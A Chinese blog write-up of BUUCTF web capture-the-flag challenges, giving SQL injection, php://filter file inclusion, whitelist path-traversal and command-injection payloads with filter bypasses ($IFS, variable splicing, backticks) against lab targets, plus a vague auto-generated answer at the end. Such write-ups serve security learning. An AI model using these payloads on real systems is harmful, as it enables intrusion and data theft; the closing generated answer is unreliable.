BUUCTF WEB题

目录

[极客大挑战 2019]EasySQL

[极客大挑战 2019]Havefun(GET)

 [HCTF 2018]WarmUp

[ACTF2020 新生赛]Include(文件包含)

 [ACTF2020 新生赛]Exec(命令注入)

 [强网杯 2019]随便注

[GXYCTF2019]Ping Ping Ping

 命令联合执行

 flag的贪婪匹配

 变量覆盖

内联执行



[极客大挑战 2019]EasySQL

在用户名和密码都填:
payload:' or 1=1

由于用户名和密码都存在sql注入漏洞,可以用'闭合前面的查询语句同时用or绕过判断

 

[极客大挑战 2019]Havefun(GET)

查看源代码可以得到一些信息

 用GET传参将cat=dog即可得到flag

 [HCTF 2018]WarmUp

ctrl+u查看源码,发现了source.php文件,打开后是代码审计。

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 然后看到提示hint.php,访问后得到flag在ffffllllaaaagggg下,然后开始审计一波代码。

这段代码的意思是如果 file 不空、为字符串且经过emmm类的checkFile函数过滤,就执行文件包含,否则就输出滑稽图片,而需要被包含的文件就是hint.php提示的ffffllllaaaagggg。

里面涉及到mb_substr(),mb_strpos(),urldecode()三个函数。

定义和用法

mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

注释:stripos() 函数是不区分大小写的。

注释:该函数是二进制安全的。

相关函数:

  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
  • strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
  • urldecode() 解码 URL 字符串函数。

    此函数用于解码给出的已编码字符串中的任何 %##以及中文等被编码的内容。 (加号('+')被解码成一个空格字符)。

    该函数经常被使用于php解码URL中的中文字符串。

 这段代码的大意是获取传入的参数位数,然后截取前该位数的字符。
举个例子,传入参数是flag.php,首先经过mb_strpos获取位数,为8.然后经过mb_substr截取flag.php的前八位,也就是flag.php。
然后需要该参数在白名单里,也就是截取第一个?后的值为hint.php或source.php
然后经过url解码后再进行一次过滤,如果最后返回真,即可包含文件。
格式为:?file=source.php%253F../../../../../ffffllllaaaagggg
注: 确保url解码后能通过白名单。浏览器会解码一次,而 ? 经过一次urlencode编码为:%3f;两次为:%253f

[ACTF2020 新生赛]Include(文件包含)

 ctrl+u查看网页代码+抓包:没有发现什么有用的信息。
查看题目和网址的file参数,提示这是文件包含的题

考察利用php://filter伪协议进行文件包含,详细解释见(18条消息) PHP Filter伪协议Trick总结_php伪协议filter_swtre33的博客-CSDN博客

构造payload:(解释)—>https://blog.csdn.net/az44yao/article/details/88429951

构造payload =http://28b9351b-1dfd-4a2a-935c-52d2ba8cc53c.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

 

得到一串Base64密文,解密即可得到Flag=flag{22fa271b-3153-4c91-9017-6e1bbd2af694}

在这里插入图片描述

1是格式
2是可选参数,有read和write,字面意思就是读和写
3是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)
4是必选参数,后面写你要处理的文件名
php://filter还可以绕过,大概就是把不希望执行的语句先编码,这个编码类型可以破坏语句的正常执行。比如base64编码只有64个字符,如果被编码的语句字符在64个字符里找不到对应的,就会忽略,略过它继续编码),然后再解码,这样就可以绕过这个语句了。

 [ACTF2020 新生赛]Exec(命令注入)

打开靶场,就是一个明显的命令注入题

我们ping 127.0.0.1;ls试试,

 可以看到,没有过滤分号和ls.然后访问index.php。

 

 然后PING查看127.0.0.1 | ls /所有目录 

 

 看到flag在第四个目录下,直接cat访问目录(127.0.0.1| cat ../../../../flag)

flag{91559931-70e3-41a1-bded-5cf501d91db6}

 [强网杯 2019]随便注

 打开后发现是SQL注入题,试下SQL注入的万能语句(1' or 1=1 ;#)看看有什么有用的信息,这个#用来注释掉后面的sql语句。

 

 没有发现什么有用的信息。输入2 试试。

 输入3试试,发现报错了,说明只显示3列。

 查看下数据表(1'; show tables;#)

 

 发现有两个表,我们一个一个查看,先查看表1919810931114514

(1'; show columns from `1919810931114514`;#)

可以看到words表里有两个属性,即两列:id 和data

然后再查看表words (1';show columns from `1919810931114514`;#) 

而1919810931114514表里只有一个属性列 

说明输入框可能查询的就是words表

后台sql语句可能为(select id,data from words where id=)

接下来就是把1919810931114514数据表改为words数据表,将flag属性名改为id,然后用1’ or 1=1;# 显示flag出来。在这之前需要将words数据表名改为其他的名字,否则会报错。

payload格式:1';rename table `words` to words1; rename table `1919810931114514`  to `words`; alrter table words change flag id varchar(100);

注释:已存在的数据表用的时候需要用反引号包住。

修改完成后用万能注入口令即可------1' or 1=1;#

也可以先查下更改后的数据表看看是否更改完成

 

[GXYCTF2019]Ping Ping Ping

 命令联合执行

;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)

 命令绕过空格的方法有:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
tac命令简介:
tac(cat 的反序)命令以行为单位反序输出文件内容,即第一行最后显示,最后一行先显示。输出内容和 cat 命令相反。
命令格式:
tac [OPTION]... [FILE]...//[OPTION]可以不写。

解题:

/?ip=     构造本地地址查看文件目录看看(用|或;执行命令)

/?ip=127.0.0.1;ls或/?ip=127.0.0.1|ls   得到

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

发现有两个文件,我们先访问flag看看  /?ip=127.0.0.1;cat flag.php

/?ip= fxck your space!//过滤了空格

我们绕过空格试试    /?ip=127.0.0.1;cat$IFSflag.php

/?ip= fxck your flag!//显示过滤了flag

这样我们就读不了flag文件了,试试index文件。    /?ip=127.0.0.1;cat$IFSindex.php  发现读取不到,我们试下  /?ip=127.0.0.1;cat$IFS$1index.php  具体为什么还没找到原因。

可以看到很多符号都被过滤了

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

过滤的特殊字符有

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 

 flag的贪婪匹配

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
//flag的贪婪匹配,匹配一个字符串中,是否按顺序出现过flag四个字母
同样被过滤了

 变量覆盖

 源码中有一个$a变量可以覆盖,可以慢慢尝试下。

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤flag
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤flag//变量ab互换传递,绕过字符串匹配,实现拼接
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
//变量替换顺序,效果也不一样

 文件查看成功后查看源代码中是否有flag。

内联执行

?ip=127.0.0.1;cat$IFS`ls`
?ip=127.0.0.1;cat$IFS$3`ls`
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1|cat$IFS$9`ls`

 查看源码。

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{e01a4f73-d0eb-45cd-b39b-c4c76e62b333}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

payload:cat$IFS$1`ls`

使用内联执行会将 ``内的输出作为前面命令的输入,当我们输入上述payload时,等同于cat falg.php;cat index.php。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTF】buuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTFWeb方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值